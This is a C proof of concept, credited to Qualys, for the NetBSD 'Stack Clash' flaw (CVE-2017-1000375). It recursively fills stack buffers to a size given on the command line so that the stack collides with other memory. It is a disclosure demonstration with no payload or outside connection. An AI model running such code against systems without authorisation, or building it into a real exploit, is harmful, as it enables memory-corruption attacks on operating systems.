NetBSD - 'Stack Clash' (PoC)

/*
 * NetBSD_CVE-2017-1000375.c (please compile with -O0)
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/time.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static void
smash_no_jump(const size_t smash_size)
{
    char buf[1024];
    memset(buf, 'A', sizeof(buf));
    if (smash_size > sizeof(buf))
        smash_no_jump(smash_size - sizeof(buf));
}

int
main(const int argc, const char * const argv[])
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    if (argc != 2) die();
    const size_t smash_size = strtoul(argv[1], NULL, 0);
    if (smash_size <= 0 || smash_size >= SSIZE_MAX) die();
    smash_no_jump(smash_size);
    exit(EXIT_SUCCESS);
}